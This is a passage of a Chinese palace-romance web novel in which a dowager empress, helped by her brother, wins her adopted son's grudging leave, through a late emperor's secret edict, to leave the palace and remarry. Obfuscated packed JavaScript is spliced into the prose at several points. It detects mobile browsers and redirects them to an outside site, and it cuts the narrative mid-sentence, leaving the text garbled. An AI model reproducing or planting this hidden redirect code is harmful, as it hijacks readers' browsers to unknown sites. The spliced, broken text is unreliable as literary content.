“我以为,你会见四郎。” 乔燕反问:“二哥这是不想见我吗?” “不,不是。”乔湛微怔。自上回一见,妹妹对他似乎少了隔阂,亲昵不少。他反倒有些措手不及,好像要正儿八经重新认识“兄长”的身份,心头别扭,不知要如何应对。 “只是几个兄妹间,你素来和老四亲近,从前探亲,也是他陪母亲来。” “是有许久未见四哥了,”乔燕抿唇,苦笑,“四哥为人磊落热忱,可有时候偏就坏在这份性情上……有些事,不好同他开口。” 乔湛想起四弟冲动易怒的性子,忍不住叹了口气。 乔燕坐在对面的圈椅上,垂睫摩挲茶碗,幽幽道,“二哥,如果有天我做了天大的错事,令乔家蒙羞,乔家还会认我吗?” 这个问题她曾问过。只这次再提,似乎多了许多涩然。 乔湛放下茶盏,端然道:“我的答案还是和那天一样。若是祸危社稷,殃及无辜,绝不姑息。但如果无牵无扯,只是区区名声,二哥尽力替你担着。” “如今,你还不愿说,到底做了什么错事吗?” 乔燕看着他,眼里渐渐起了水雾。 “我……” 若是乔湛疾言厉色,她还能梗着一口气与他呛声,可二哥如此温和包容,反倒让她心生惭愧,说不出口。 乔湛终不忍见她为难,低声道:“从前在家不哭不闹,怎么如今做了娘娘,年岁渐长,反而会撒娇了……前段时间流言遍京,你看二哥可曾说你半句?”说着,他神情有几分惘然,“说到底,你是我乔家娘子,长兄常年不归,弟妹们有什么出格之处,也是我这个二哥失了教导之责。” 那时四郎从冯矩处得知真相,回家告知于他,他气得掸碎了案角砚台,既怨冯矩失德,又恨妹妹不知廉耻。可在书房枯坐半晌,那许多怒火终是慢慢平歇,只余深深的寂旷。 也不知是不是因为一点私心偏颇,他竟忍不住在心底反问:五娘做错了什么呢?纵使她犯了一点小错,可当今礼制就是绝对正确的吗? 在唐宋时,寡居女子尚可二嫁,为何到了熔铸千古礼法于大成的今日,反而撇去了万般情义,只余一个冷冰冰的“理”? 昔日温却疾曾私自携《起居录》拜访,那样堂而皇之,知情人却个个成了哑巴。朝臣朋党结私,各为己利,也无人申饬。那么多关乎社稷的大事,只有寥寥敢为人先的站出来发言,而到了这一桩私情小事跟前,倒个个擦亮眼睛,沸反盈天。 可见所谓礼制,也不过是上位者牟利之工具。 这样一想,竟念头豁达,浑身上下通泰不已,当夜睡了个好觉,翌日精神抖擞地上朝去了。 然而那场朝会,冯矩当朝认下婚事,他不明就里,也只好缄口不言,直到今日才首次见到妹妹,有机会一计内情。 在看到乔燕时,他便有些明白,此事怕是还未了结。至少在五娘这里,还未了结。 乔燕被他说“撒娇”,顿觉赧然,擦掉眼泪,自袖子里摸出一份折子,递给乔湛。 “我欲上表陈情,二哥帮我看看,什么时候好。” 这份奏表在见冯矩前就已写好。说到底,她心底有股不撞南山誓不还的劲儿,若是那天的冯矩有半点迟疑,她恐怕只能被伤得血淋淋。 还好他没有。她煌煌灼日般扑向他,而他亦有万死莫辞之孤勇。 乔湛展纸一看,眉头渐渐皱起。 “你这是……要用曾经的救命之恩要挟圣上?” “是,”乔燕苦笑,“我知道这样有负忠义,可我除了这样,好像手里也没什么筹柄了。” 乔湛没有再作评价,反而压低声音,说了一句绝不可能是他说的话:“好在如今的圣上年纪尚幼,性情优柔,重视情谊。” 乔燕睁大了眼睛,讷讷道:“我没听错吧。” “怎么?” “二哥你,跟从前大不一样了。” 乔湛淡淡一笑,“你是不是想说,从前的我太古板。” 乔燕眼睛瞥向一旁,“……岂会。” “儒者不言事功,以为外务。闭门暗诵,束身锢心,自谓圣贤。说得就是从前的我,好在,入世一遭,渐渐能明白更多道理。” 乔湛豁达自嘲一番,看着妹妹的表情,不由莞尔:“这样看我做什么?” “以后那些话,还是要慎言。” “有朝一日,竟还能得你教训。你放心,什么时候能说什么话,我心里有数。” 他素来是个冷面郎君,收起笑后显得严厉。乔燕惯来怕他这幅模样,哪怕身居高位多年,也有些改不掉,习惯地讨好道:“二哥以后定是个为民请命的好官。” “现在也是,”乔湛淡道,“说来你还不知道,前日圣上杖了冯子规一顿,我当时还不知道为什么,现在想来,怕是与你有关。” 乔燕一惊,急道:“我竟只字未闻!究竟是什么情形?” “冯子规奏请面圣,不一会儿中书舍人和起居太监都被赶了出来,只知道君臣密谈片刻,圣上大怒,开门喝来几个太监,在月台上就压着冯矩施了二十杖。” 乔湛说着,端详妹妹的情状,心里一叹,脸色却有些不好,“我和四郎对他都有怨,听闻此事,也不曾过府相探,对于其中就里,不甚明了。” 乔燕沉默片刻,竟忍不住露齿而笑,笃定地道:“他应是拒婚去了。” 乔湛低声道:“今日出宫,我就去看看。”任她收整神色,才又重提正事:“你那奏表,且先等等,过些时日我会上疏陈情,有乔家作后盾,你再上表,事半功倍,也不会多受圣上诘难。” “大伯那里……” “乔氏两家,同气连枝,一荣俱荣,一损俱损,我自不会做先斩后奏之事。我先说服大伯,如今他已是首辅,手下也有几个衷心的学生,你在内廷的作用不大。三郎只中了同进士,外放出京,不知何时才能回,乔家后事,多仰仗于我,我说的话,在伯父那里自有斟酌的分量。” 乔燕知他并非倨傲,拿捏伯父,而是要用这份态度安慰自己,心中一热,眼眶又渐湿。 乔湛看着她,一瞬间想了很远,显出几分心事重重,许久,才说道:“后妃出宫嫁人,自古未有,想要开此先河,难如登天,二哥虽会帮你,但……你也要做好不成的准备。我恐怕,最后还是要折中,你或许能如愿,却是要以别的身份嫁给他。” 也就是说,“乔太后”是不能嫁给外臣的,为了维护皇室脸面,最后恐怕要假借其它身份。 “那也够了。” “你不委屈?” 乔燕忍不住笑了起来。 “突然笑什么?”乔湛觉得她笑得蹊跷,皱起眉。 乔燕还是笑吟吟地看着他:“二哥这样问,是二哥在替我委屈,我心里欢喜的很。”眼见乔湛面露尴尬,知道他不擅长应付这些,乔燕先转开话题:“说来,记得嫂嫂怀胎九个多月,是不是快生了。” 乔湛果然自在许多。 “是。家里已经请好接生婆子和乳娘,不用你操心。” 说着,乔湛觉得自己的语气过于生硬,补了一句,“等孩子出生,二哥递信给你。” 说来也巧,第二天清晨,宫门一开,乔家家书就递进了宫。说是元宵当天夜里,乔燕的二嫂嫂就发动了,丑时诞下一个八斤重的小子。 乔湛在书中还提了探望冯矩一事,道他只伤了皮肉,未动筋骨。圣上打了人,又不知为何赐了药,批了闲假,允人居家将养一段时日再归朝。雷霆雨露,皆是君恩。 乔燕心中石块落地,忧喜掺杂,命人把早就备好的长命金锁送去乔府,午憩后略作收拾,带着手调的香去了寿安宫。 当值的太监不敢怠慢,将乔燕让到花厅,点上熏笼,奉上热茶,小心赔罪:“暖阁的地道太窄,火气不旺,咱们娘娘命人拆了重建,也就这两天的工夫。娘娘来的实在不巧,还请见谅。” 乔燕摆摆手,“你们娘娘呢?” “已经有奴婢去通禀了,您稍待片刻……” 说完,只见一个小内监在门外探头探脑,奉茶的太监告了个罪,出门将人拉到一边,不多时重新进来,脸上多了些苦笑。 “太后娘娘,咱们娘娘尚在午睡,您看……” 乔燕哪能不知道发生了什么。 自孙氏没能获封太后,自觉被乔燕踩了一头,便心生怨恨,断了来往。往日乔燕过门叙旧,也多不待见。次数一多,乔燕也不再热脸贴冷屁股,这还是三个月来首次登门拜访。 她不欲为难下人,就道:“我等等便是。” 这一等就是一个多时辰,直到未时三刻,孙氏才在两个宫女的搀扶下姗姗来迟。 “瞧我,年纪大了,这一睡便忘了时辰,有劳太后久等。” “倒也没等多久。” 主位空悬,孙氏挨着椅子边坐下,腰板笔直,仪态端方。她身边的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116352|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫女筎阳端上来一壶花露,给两个主子斟了,孙氏拈起杯子吹了吹热气,动作也是十成十的优雅。 乔燕也拿起来喝了一口,口齿生香,可惜她坐了半天,倒了半肚子茶水,只能草草放下。 孙氏眼神一冷,说道:“妹妹不愧是尊了太后的人,从前对我这玫瑰露赞不绝口,如今却瞧不上了。” 乔燕微笑道:“娘娘这花露自然顶好,可方才等人的时候喝了不少茶水,如今是喝不下了。” 孙氏脸色顿时有些不自在。 乔燕把案上的梨花木匣子往前推了推,“总得娘娘招待,心里过意不去,这是我闲暇无事弄的香料,最是提神醒脑,带一点给娘娘玩。” 孙氏接过,连铜扣都没开,就递去一旁,筎阳忙双手接了,说道:“这样珍贵之物,奴婢定会替娘娘收好。” 宜婵拉过筎阳的手腕,笑道:“筎阳姐姐,咱们也许久不见了,我倒还惦记着上回你说的那个珍珠百索的花样子,能不能教一教我。正好让主子们说点体己话。” 筎阳看向孙氏,只见她不情不愿地颔首,这才同宜婵相携出门。 “说吧,什么事?”孙氏道。 “没事就不能来找你了吗?后宫冷冷清清,连个说话的人都没有。” 这可算点到了孙氏的心事。 从前李琢作为最不受宠的皇幼子,还未到纳妃开府的年纪就逢朝乱,后来启正皇帝就位,对这个弟弟倒是不薄。 只是自前朝亲王乱政后,本朝太祖便在《大齐乐典》中规定,亲王纳妃,只可纳家世不显的良家子。李琢作为亳王时,孙氏确实为他相看了两个秀才门庭的姑娘,可还没等纳进府,启正皇帝病故、李琢赶鸭子上架继承大统,忙成圈轱辘,这纳妃一事只能一拖再拖。 而做了皇帝,孙氏原本相看的秀才家的娘子就有些够不上了,那两家也清楚,等三月国丧一除,立马给女儿定了亲,嫁了出去。 如今皇帝一个后妃都没有,可不“冷冷清清”。孙氏不由叹息,大吐苦水:“我倒是有心给恒奴相看,可看来看去也没有合适的,他倒好,对自己的事不上心,前段时间还让我给大臣找媳妇。正好,我看来看去,对这京中闺秀也算了然于胸,便说把绥阳伯的庶女指给人做继室,此事若成,也算做了个好事。可不想,两日前,恒奴又过来跟我说,那则婚事算了。这‘宁毁一座庙,不拆一桩婚’,哪能就这样算了,可我再问,他又什么都不说。” 孙氏母凭子贵,水涨船高,如今已是一人之下,从前缺的心眼却长不回来了。前段时间外朝闹得沸沸扬扬的流言,听是听了,竟没把当事人联系起来。 乔燕实在没想到,自己不过开了个头,孙氏就把什么话都倒了。她一时竟有些艳羡,没有吃过大亏,才能这样简单活着。真好。 “竟有这等事?姐姐劳累许多天,突然作罢,恒奴就不曾解释两句么?” “他哪会跟我解释,”孙氏心酸万分,瞪着乔燕,“他如今翅膀硬了,眼里哪里还有我这个生母,跟我说不到两句就拉下脸,我是半点重的都不敢说。” 乔燕端起杯子,又放下,低声道:“我怎么都是个外人,圣上待我从不红脸,正是如此,人只有对待外人,才客气万分。母子间哪有隔夜仇,今上心软孝顺,你比我清楚,你以后多顺着他一点,他自会投桃报李。” 孙氏尖声道:“我还需要你指教不成!你给我……走!” 乔燕一叹,听出她最后那个字想说的其实是更粗鲁的“滚”。 那些话其实确实不该说,她是最不该说的人。一时失言,惹得孙氏剑拔弩张。 人心最是欲壑难平,从前是孙氏跪地求她收下李琢做儿子,现在也是孙氏恨她抢了儿子。好在她出宫在即,以后碍不着孙氏的眼,这对母子间的情分必然能一点一点捡回来。 倒也不必再做什么。 乔燕站起身,心里有些怅然。她今日来访,虽然是为了打听冯矩的婚事,但未尝没有闲话的想法,只是可惜,知道也许不会和睦,却不想这么快就要了了收场。 走到门边,她到底有些不平,停下脚步,说道:“娘娘不必如此刻薄,再过不久,你自当如愿。” “你!”孙氏站起身,被她刺得胸口起伏,“你说我刻薄?给我把话说清楚!” 乔燕却已经拉开了门,门外阶下站着个太监,正是最初为她奉茶的,也不知听去了多少,头深深埋着,听到开门的动静才惊惶地看过来。 门一开,孙氏也不敢再继续。 乔燕对那太监道:“寻宜婵来。” “是。” 70. 探病 “老爷,乔大人来访。” 黄胜推开屋门,浓郁的药味霎时扑脸而来,他皱了皱鼻子,下意识屏了两口气,才缓过来。 屋子里头烧着火盆,床上被褥隆起,传出沙哑的嗓音:“哪个乔大人?” “是乔家二郎君。” 屋子里头顿了一瞬,隐约可闻一声叹息。 “请他进来。” “是。” 黄胜受命出去传话,不一会儿,领着乔湛出现在房门外。推开门,黄胜朝里喊了句:“乔大人到了,您那药还在炉子上,小的要去盯着,就不进去了。” “你去吧。” 黄胜哼着曲儿关好门。乔湛走到屋子中央,离床榻约有丈远,就不再往前,不咸不淡地道:“好冲的药味儿。” 冯矩道:“你若嫌弃,自去开窗,我下不了地,招待不了你。” “你这主子受伤卧床,怎么仆从反而喜气盈盈。” “你说黄胜,他确实有喜,前不久媒人说了一门好亲事,一除服就结了亲,回门之后还领过来给我敬过茶。” “主家落魄,他在这时办喜事,也不怕犯了你的晦气。” “这话就小器了,还是说,我在你眼里就是这样小器的人?” 冯矩趴在床上,转过半个脑袋,在乔湛再次开口前率先道:“说到喜事,还未祝贺你喜得麟子。” 提到儿子,乔湛脸色好了些,嘴上却还不饶人:“你成天卧床,消息倒挺灵通。” 冯矩叹气:“贵府送了喜蛋,你不知道么。” 乔二郎不通庶务,还真不知道。 乔湛脸色一沉。冯矩识趣地转开话题,“上次匆匆过府,你还没见过葭月儿吧,让奶娘抱给你看看。” “什么葭月儿?” 乔湛上次拜访,没坐多久就因为发妻生子而赶回了家,是以还没见过葭月儿,更不知是谁。 “是我女儿,”冯矩轻声道,“她像极了五娘。” 乔湛如遭雷击,不可置信地道:“原来流言是真的……五娘当真给你生了孩子。” 他情绪有些低落,又不明白这低落的由来,只低声道:“你这屋子里味道太大,别冲撞了孩子,还是算了吧,下回再看。” “云飞上次就见了,他回去没告诉你么?” 乔湛冷哼一声,没有作答。 上回老四回家,才说到这二人当真好上过,他就气得把桌角的东西全掸下了地。乔四吓得宛如鹌鹑,什么话都没敢再说。 好一会儿,乔湛才冷着脸道:“上回没来得及问,圣上发这样大的火,你是不是……拒婚?” “是。” “你当真不要命,先在众目睽睽下答应圣上的指婚,后来又去拒婚,如此反复,岂非拿圣旨当儿戏,只是领了二十杖,算小圣上仁厚。” 一顿,乔湛又道:“圣上想必没有答应,直接把你打出来了吧。” 冯矩苦笑:“是。” “活该受罪!你自己受罪不要紧,还害我妹妹在宫里担心受怕……若非你伤着,我真想揍你一顿。” 冯矩实在忍不住:“……乔家家学如此么?” “什么?” “没什么。” 乔湛皱眉,却直觉问下去得不到好话,于是就此打住,走向床边,“你伤得如何?让我看看。” 冯矩连忙压住被子,“都是污血,还是算了。刑杖的太监没下死手,请了大夫看过,都只是皮肉伤,歇几天就好了。” “圣上仁厚。” “是啊,圣上仁厚。” “婚事,我和五娘会想办法,你这顿打完全是自找的。” 冯矩闭上眼,苦笑道:“若要我坐等,我也无法做到,就算为此领一顿罚,心头总好受点。” 又道:“福建开海是我一手督办,剿匪未竟,正是紧要关头,如今是冬天,海寇稍歇,等入了春,又不太平,届时还得我去……圣上虽然年纪小,但心里很是通透,他不会在这时杀我。就算他想杀我,也要过内阁和六科的堂面,皇家脸面在先,他拿什么借口?这些年,我到处奔波,干的都是烫手的活,勉强捞一身政绩,我这样好用又不曾站队的人,那些老狐狸不会让他杀我的。” 乔湛一时无话,半晌,才道:“五娘聪颖非常,又岂会不知,关心则乱而已。” 冯矩轻声道:“明澈,你告诉我这些,我很是欢喜。我没想到,在这样悖德乱制的事面前,最先和我们站在一处的,竟是你。” “我是为了妹妹。” 冯矩笑了一笑。 他当然知道,要一位自幼时起就饱受圣人训的儒生站在礼制的对面,要有多么惊世骇俗的勇气。但既然乔湛羞于议论,他便也不再提。 正月二十,詹事府詹事乔湛秘密陛见。 李琢坐在宽大的御案后,捏着手里的奏本,除了震惊、愤怒、沮丧,还有说不出的烦躁。从太后到来的那个深夜后,一切就越发不可控。 他把目光从奏本挪到案前,乔湛垂首恭谨而跪,他看了半个时辰的奏本,乔湛就维持着这个姿势跪了半个小时,分毫不曾挪动过。 等了许久,也不见乔湛抬头,只能重新看向手里的文章。 “…… 臣闻《礼记》有云:寡妇不夜哭,慎终追远而已。然圣人制礼,本乎人情。昔汉室有“归陵”之议,唐宗许公主再适,皆因体恤天伦,权通变达。今臣妹盛年独处,臣为兄长,岂忍见其华年凋落,长锁深宫?父母年迈,日夜啼嘘,思女成疾,恐不及见其生还……臣非不知,祖制森严,宫禁重地。然臣窃思:陛下以孝治天下,当怜臣父母思女之切;陛下以仁御四海,当察太后青春之悲…… 臣知此请干犯礼法,罪当万死。然骨肉至亲,情难自已;蝼蚁微命,敢望天听?若蒙陛下哀怜,特许臣妹得全人伦,臣愿罢官去职,归耕田亩,以赎妄言之罪。 涕血上书,不知所云。臣某顿首再拜,候旨待罪。” 乔家想要接回乔家五娘,择婿再嫁。 为此,乔詹事不惜以自身官位作祭,上疏陈情。此表,陈的乃父母女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116353|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天伦之情,字字椎心,句句泣血,如何驳? 宫外隐有钟声传来,吴汲的身影投在槅扇上,细而缓的声音打破一室僵局。 “圣上,乔詹事,暮鼓既响,百声后,宫门就将落锁了。” 李琢顿时松了口气。 最初拿到奏本时,他只听脑袋里嗡的一声,怒火直冲天灵盖,拍案而起,浑身直打哆嗦:“荒唐!实在荒唐!此等羞辱皇家脸面之事,简直闻所未闻!我何止要罢你的官,我把你砍了都不为过!” 乔湛面不改色,举双手缓缓除冠,置于膝前。 “臣自知罪该万死,圣上若一意赐死,臣唯有引颈谢罪。” “你!你当吾不敢吗!” 李琢裸露的皮肤全都涨红,然而乔湛维持着跪拜的姿势一动不动,也不知过了多久,小皇帝颓然坐了回去。 他确实不敢。 乔湛不愧昔日曾授庶吉士,乃文才之士,在文章中反复强调父母思女的哀切之情,既承认祖制威严,又以人情天性恳求变通,切切思思,闻者动容。他若要以此杀人,岂非太过残酷,有违孝道? 再者,乔广川任首辅,有他在,也不会当真让人杀掉乔湛,最多胡闹一场,各自找个台阶下。 最后大失颜面的,还是天家。 乔湛应当也考虑了这些,是以秘密觐见,私下递表,如此稳妥体贴,给李琢留了喘气的口子。 人在有退路可走时,便很难鱼死网破。李琢便是如此,当他喘了这口气,便渐渐生怯,终在漫长的死寂里熄了怒火,徒留灰烬。 说到底,他才十二岁,纵使在这段揠苗助长的日子里被迫立身,也还是个孩子。 对峙的间隙里,他把手里的陈情表翻来覆去地看了一遍又一遍。“当察太后青春之悲”,母后她,心里当真如此哀伤吗?宫里的生活,有如此难熬?他也在宫里长大,为何从未体会? 漫长的沉默填满了幽闭的宫室,直到吴汲那不知有意无意地一嗓子—— “乔詹事,你该回去了。”李琢道。 乔湛抬起头:“臣所请之事……” “容我想想,”小皇帝张了张嘴,声音轻忽,从肺腑里挤出来似的,“……日后再议。” 听起来有点可怜。 乔湛一时不忍,又逼自己硬起心肠,低着头退出去。那几步他走得有点恍惚,冷不防地想:见了太多伯父与众臣冷酷地摆弄皇权,也曾在心里暗暗不齿。可这些贤臣们在与君上对峙时,是否也曾这样心软过,是否也是在一次次这样的挣扎里来回修炼,最终才有一颗坚不可摧的无情之心。 待他去后,吴汲悄步走进,见御前一盏灯的火光跳动,忽暗忽明,于是取过铜剪,打开灯罩,剪去一截烛芯。 “你随朕去一趟端宁宫。”在他身后,李琢突然发话。 往常圣上也有这个时辰去请安的,可今日却不像……吴汲心中一跳,摸了摸眼皮。 “可要奴婢备舆?” 李琢有点不耐烦:“勿要声张。” “是。” 71. 出宫 宫女进来禀报时,乔燕正坐在镜前拆钗环,闻言止住身后梳头婢的动作,朝镜子里看了看,没有什么失仪之处,便起身朝外间走去。 门被人“砰”的推开,她的养子,少年皇帝面无表情地跨进来。 他看起来想立马把所有奴婢都赶出去,嘴唇颤动好几下,最后只是道:“孩儿来给母妃请安。” 乔燕一时竟有些欣慰:上位者,不仅要会忍耐,更要会将情绪藏好,喜怒不形于色。从这点看,李琢在位的这段时间,确实大有长进。 她不想为难这个孩子,主动道:“我要和圣上说些体己话,你们都出去吧。” 殿内值守的宫人如潮水般退了个干净。 乔燕盯着李琢,“圣上为什么生气?” “我为什么生气母后不知道吗?!” 李琢露出个讥诮的笑:“乔詹事方从我那里出宫去,难道不是受的母后指使?如今您又在这里作甚么无辜样子!” 许是因憋了一路的火气,陡然发泄,说的话真是怎么伤人怎么来。李琢一说完,看到乔燕先是怔然,继而脸色变白,便有些后悔了,可这样的情况,要他先低头,凭什么。 他只能僵着身子站在那,脸上还带着遗留的怒容。 好在这份令人窒息的沉默没有维持太久,乔燕很快开口:“您喝什么茶?我去叫人弄一壶来。” 李琢为她这份事不关己的态度又生了恼怒,低吼道:“我不是来喝茶的!” “我知道,”乔燕声音平和,“圣上是来发火的。” 李琢脸色一滞:“……我不是。” “生气时说话做事最是冲动。圣上,不论如何,我都不希望你我之间说出什么不可挽回的话。” 乔燕叹了一声,没管李琢,当真出门叫了一壶茶。 等她回来时,李琢已经在炕上坐了下来,观其神色,似乎把她那句话听了进去,不如来时那样山雨欲来。乔燕心里微松了口气,走过去,翻开两个瓷杯,倒满茶水。 李琢抬手取过离得近的茶杯,默默捏在手里转了半圈。 “乔詹事欲接您出宫,择婿另嫁。” 话一出口,李琢自个儿先在心里失望起来。都说一鼓作气,再而衰,三而竭,泄了来时的那口气,有些话再说,气势便不大相同,他本是兴师问罪而来,如今话出口,反倒像是有商有量。 早在李琢进门提到乔湛时,乔燕就猜到所为何事,闻言果然如此,却仍心头一紧,呼吸慢了半拍。 她袖起手,两只手在袖中捏在一处,捏得疼了,才有些回过神。 李琢一直观察着她的神情,见她怔忡之色不作伪,心里倒是舒坦了点,转头又意识到她竟不出口回绝,霎时气得咬住了后槽牙 “……你就这么……不知廉耻吗!” 这诘问的几个字,他说得格外艰难。 “是。”乔燕抬起眼,目光清明,坦荡磊落,不像认罪,更像在受某种褒奖:“如果这是不知廉耻,那我是。” 李琢被烫伤一般,猛地避开她的眼睛。 他起身,朝前急急走了两步,背对着乔燕,好一会儿,才冷冷地道:“乔家势大,如真要逼我,我也只能就范。但我如果允许你以皇妇的身份出宫二嫁,李家祖宗绝不会原谅我这不肖子孙……母妃,你明白我的为难之处吗?” “嗯……” 身后衣物窸窣,李琢察觉不对,回头一看,只见乔燕竟无声地跪在地上。 李琢到底只是个孩子,只觉自己彻底被她抛弃,鼻头一酸,实在忍不住,泪水骤然蓄满眼眶。 “那个冯矩就有这般好?您怎能为他跪我,您是我母后啊,您要置我于何地?” 他跑过去,扶着乔燕肩膀,在她对面跪下来,哽咽道:“您不是答应我,要摄政助我一臂之力,您说的话不算数了吗?” 他如此低声下气,乔燕哪里受得住,心头酸胀,只强忍不发罢了。 “圣上身边多是清正有识之士,一百个我也顶不上他们,这些日子没有我,您做得很好。恒奴,你会是个好皇帝。” “就算为了孩儿,您也不愿意留下来吗?” 有那么一刹那,乔燕确实动摇了,然而很快就硬起心肠。 “对不起……” “好!”李琢抹掉眼泪,蓦的沉下脸,阴沉沉地盯住她,“母后,你这样无情,莫怪我无义。无论如何,我也决不允许您以太后的身份出宫。如您坚持,最多只能改头换面,抛家弃姓,以一个无名无姓无身无份之人嫁给他……就算这样,您也不后悔吗?” 乔燕笑了,目光温和:“恒奴,君无戏言。” 李琢深深地看着她,眼里的希冀一点一点消失殆尽,浮上丝缕绝望,他猛地起身,因动作太大而晃了晃,不得不扶住一旁的桌案。 他很快站直身子,朝外走去,推开门的前一刻,动作一顿。 “我恨您。” 吱——门开了。 冷风呼啸着灌进屋子,撞到乔燕的背脊上,她被冻得瑟瑟战栗。她撑着地面,慢慢站起来,蹒跚到炕边,双腿一软,跌坐下来。 案上摆着两只茶盏,全都是满杯。她入神地看着,说不出心里是什么滋味。 好像要比想象中的,更加难过一点。可一想到即将自由,又是说不出的痛快。 只是可惜,伤了那个孩子,认他作子时,他才六岁,站直了还没有这张桌子高…… “娘娘!” 今夜当值的思嘉走进屋子,嘴里嘟囔:“门怎么都不关,暖气儿都跑了。娘娘,您脸色怎么这么差,奴婢扶您去内间暖一暖罢。” “嗯。也好。” 乔燕的手搭上来时,思嘉被冻得一个激灵,没敢多问,等到了内间,拆头更衣就寝,一切如常,思嘉最后看了眼安详闭眼的主子,熄了灯烛,悄步退了出去。 也不知过了多久,院子外忽然起一阵哐哐声,思嘉值夜的时候觉浅,立马惊醒过来,起初以为是西北风刮在院墙间发出的动静,竖起耳朵听了会儿,方觉竟是端宁宫外头有人在喊门。 她连忙起身,幸好是和衣而卧,只需要穿鞋子,用不了什么工夫。她端过床头橱柜上的烛台,先拉开门帘朝内间看了眼,见主子尚未被吵醒,舒了口气,这才推门而出,把烛台换成廊下风灯,匆匆穿过庭院。 端宁宫乃有二进,到了前头庭院,敲门声愈大。思嘉几步跑到门边值房,发现守门的太监竟窝在椅子上,守着火盆睡死过去,不由怒火中烧,一把推过去。 “要死了你!这么大的动静听不到,小心娘娘知道罚你!” “啊!” 太监猛地醒过来,抹了把嘴角,讪讪地跑到门边,“什么人?” 敲门声总算停了,外头的人说:“是我,吴汲。” 门内小太监一个激灵,忙不迭地用腰间的钥匙打开门锁,赔笑道:“吴爷爷,这深更半夜的,您怎么来了?都怪小的耳背,耽误这么久,害您吹了半宿的风……只有您一个人吗?” “倒也没来多久。”吴汲的目光落在他身后的宫女身上,笑道,“圣上嚷着头疼难眠,说起上次自太后娘娘这里得过一种香,可以安神,管用的很,这不,差奴婢半夜前来要一点。” 一边说,一边往里走,一句话说完,已经快到廊下了。 思嘉一怔:“娘娘近来爱调香,可那些香都是现调的……” “那便叨扰娘娘,临时调一下。” “咱们娘娘已经睡下了。” “哎哟思嘉姑娘,那可是圣上!圣上的差事,拖不得啊,”吴汲说着,自顾自的推门而入,“你要是不敢唤娘娘,让咱家——太后娘娘!” 说到一半,话音陡转。思嘉越过他的肩膀,看到通往内间的门边上立着个人,正是太后乔燕,想是不知何时被吵醒,唤人不得,亲自披衣出来了。 “娘娘……” 思嘉一时不安,就要解释,吴汲却伸手挡了一挡,笑道:“姑娘姑且下去吧,咱家来和娘娘说。” 这是要遣开她密谈。思嘉看向乔燕,乔燕点了点头,她这才退到门外,找了间耳房钻进去,一边朝手上哈热气,一边盯着正殿的方向,以防有不长眼的奴婢偷听。 却说殿内,乔燕开门见山:“公公漏液前来,遣走奴婢,想必有要事,但请直言。” 吴汲笑了笑,也不啰嗦,从袖袋里抽出一根卷成条状的明绢,双手呈上。 “娘娘,圣上让奴婢将此物交给您。” “这是何物?” 乔燕伸手接过,明黄色的细绢,极类圣旨,然而乍一眼看去,却有些陈旧,再看,又有几分眼熟。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朕累了。朱笔在此。 启正五年六月初五。难得天晴。” 这封遗诏乃李稷病中亲笔所写,似乎是想到哪句写哪句,行文白话,未曾经过文官润色。用笔风韵犹在,力道不足,数处朱墨点迹,似咳喘所致。 其中那句“嫁娶自由,悉与宗室无关”,颜色比之前后都要鲜妍,似是后来所加。 读到一半,乔燕已泣不成声。 这封遗书,看似申饬,处处体贴。他早就看出她的心思,不知经过了多少个辗转难眠,才最终冒祖宗礼法之大不韪,落笔放她自由。 她终于知道,那一日,李琢临终前见她的最后那面,想说的到底是什么。 ——还记得,朕方登极,曾应许你一件事……当时你说……你还记得吗? 她想起来了,她这个时候才想起来。 在他刚刚继位的时候,曾允她一个承诺。 那似乎也是个冬天。 ——圣上当真,什么都能允我吗? ——但讲无妨。 ——您可否放我出宫? 她以玩笑的口吻许下真心所愿,而他默默记着,一记就是余生。 原来那日他眼里的失望是因此而来——是她忘了啊。她哪里还记得随口说的一句话。 原来如此。 难怪李琢拿到手后,不仅不曾启用,反而对其只字不提。难怪李琢曾质问她与李稷的关系。 原来如此。 二月初五,先怀帝私诏遗旨公告天下。当天午后,一顶青篷小轿低调地抬出西华门,留下数名宫女太监跪哭不止。 “娘娘,奴婢于海,在此叩拜了!祝您福寿无双,万事如意!” 于海哭得涕泪横流,好一会,才有人扶上他胳膊,低声劝慰:“于公公,那位已经不是娘娘了,也早走远了,您起身吧。” 于海在搀扶下站起身,打着嗝,一步三回头地走进望之无尽的宫墙。经过某道角门时,他脚步一顿,目之所及,有道熟悉的背影。搀扶他的小太监说道:“那是司礼监的金秉笔,方才也来送行。只是不知为何,那位爷爷躲在墙后头,不曾露面。” 于海没有作声,只在心里回了一句:大概是因为,他想送的人,不见才更圆满罢。 这高高的宫墙,一道更比一道深。宫女们尚有出宫的恩典,年满二十五就可以回家,可他们这些残缺之人呢?只能一辈子耗在这里头,便是有情缘,又哪里高攀得上。